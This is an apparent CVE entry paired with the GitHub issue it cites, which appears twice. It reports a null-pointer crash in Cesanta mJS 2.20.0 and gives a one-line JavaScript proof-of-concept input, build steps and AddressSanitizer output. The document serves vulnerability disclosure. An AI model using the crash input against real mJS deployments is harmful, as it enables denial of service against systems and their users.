Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_apply at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)

Version: 



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
((6) - Object.apply).apply()
```
</code></pre>
</details>



###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==63672==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x558c2cbd497e bp 0x615000000080 sp 0x7ffc787d6e20 T0)
==63672==The signal is caused by a READ memory access.
==63672==Hint: address points to the zero page.
    #0 0x558c2cbd497d in mjs_apply src/mjs_exec.c:1155
    #1 0x558c2cbd58d4 in mjs_apply_ src/mjs_exec.c:515
    #2 0x558c2cbc9244 in mjs_execute src/mjs_exec.c:853
    #3 0x558c2cbd2a05 in mjs_exec_internal src/mjs_exec.c:1073
    #4 0x558c2cbd2a05 in mjs_exec_file src/mjs_exec.c:1096
    #5 0x558c2cb8f909 in main src/mjs_main.c:47
    #6 0x7ff8e5d7cb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x558c2cb90449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:1155 in mjs_apply
==63672==ABORTING
```


SEGV src/mjs_exec.c:1155 in mjs_apply
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV src/mjs_exec.c:1155 in mjs_apply
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)

Version: 



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
((6) - Object.apply).apply()
```
</code></pre>
</details>



###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==63672==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x558c2cbd497e bp 0x615000000080 sp 0x7ffc787d6e20 T0)
==63672==The signal is caused by a READ memory access.
==63672==Hint: address points to the zero page.
    #0 0x558c2cbd497d in mjs_apply src/mjs_exec.c:1155
    #1 0x558c2cbd58d4 in mjs_apply_ src/mjs_exec.c:515
    #2 0x558c2cbc9244 in mjs_execute src/mjs_exec.c:853
    #3 0x558c2cbd2a05 in mjs_exec_internal src/mjs_exec.c:1073
    #4 0x558c2cbd2a05 in mjs_exec_file src/mjs_exec.c:1096
    #5 0x558c2cb8f909 in main src/mjs_main.c:47
    #6 0x7ff8e5d7cb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x558c2cb90449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:1155 in mjs_apply
==63672==ABORTING
```


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